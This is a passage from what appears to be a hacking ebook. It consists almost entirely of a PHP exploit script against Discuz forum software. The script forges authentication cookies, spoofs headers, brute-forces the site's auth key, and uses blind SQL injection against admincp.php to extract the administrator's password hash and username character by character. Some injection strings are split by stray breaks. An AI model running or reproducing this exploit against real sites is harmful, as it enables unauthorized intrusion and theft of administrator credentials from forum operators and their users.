Hacker Professional Ebook part 369 potx

$html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "please wait \n"; //from global.func.php function authcode($string, $operation, $key = '') { $key = $key ? $key : $GLOBALS['discuz_auth_key']; $coded = ''; $keylength = 32; $string = $operation == 'DECODE' ? base64_decode($string) : $string; for($i = 0; $i < strlen($string); $i += 32) { $coded .= substr($string, $i, 32) ^ $key; } $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded; return $coded; } //stolen from install.php function random($length) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvw xyz'; $max = strlen($chars) - 1; mt_srand((double)microtime() * 1000000); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $agent="Googlebot/2.1"; //see sql errors you need auth key, //it's a value mixed up with the random string in cache_settigns.php and your user- agent, so let's ask ;) $tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);} while (1) { $discuz_auth_key=random(32); $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n"; $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof $packet.="User-Agent: $agent\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $html=html_entity_decode($html); $html=str_replace("<br />","",$html); $t=explode("AND m.password='",$html); $t2=explode("' ",$t[1]); $pwd_f=$t2[0]; $t=explode("AND m.secques='",$html); $t2=explode("'\n",$t[1]); $secques_f=$t2[0]; $t=explode("AND m.uid='",$html); $t2=explode("'\x0d",$t[1]); $uid_f=$t2[0]; $my_string=$pwd_f."\t".$secques_f."\t".$uid_f; if ((strlen($my_string)==270) and (!eregi("=",$my_string))){ break; } } $temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE"); //calculating key $key=""; for ($j=0; $j<32; $j++){ for ($i=0; $i<255; $i++){ $aa=""; if ($j<>0){ for ($k=1; $k<=$j; $k++){ $aa.="a"; } } $GLOBALS['discuz_auth_key']=$aa.chr($i); $t = authcode($temp,"DECODE"); if ($t[$j]==$my_string[$j]){ $key.=chr($i); } } } //echo "AUTH KEY ->".$key."\r\n"; $GLOBALS['discuz_auth_key']=$key; echo "pwd hash (md5) -> "; $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { //you can use every char because of base64_decode() so this bypass magic quotes //and some help by extract() to overwrite vars $sql="999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipban ned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SU BSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WH ERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n"; $packet.="User-Agent: $agent\r\n"; $packet.="CLIENT-IP: 1.2.3.4\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $password.=chr($i);echo chr($i);sleep(1);break; } } if ($i==255) { die("\nExploit failed "); } } $j++; } echo "\nadmin user -> "; $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipban ned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SU BSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WH ERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n"; $packet.="User-Agent: $agent\r\n"; $packet.="CLIENT-IP: 1.2.3.4\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $admin.=chr($i);echo chr($i);sleep(1);break; } if ($i==255) {die("\nExploit failed ");} } $j++; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} }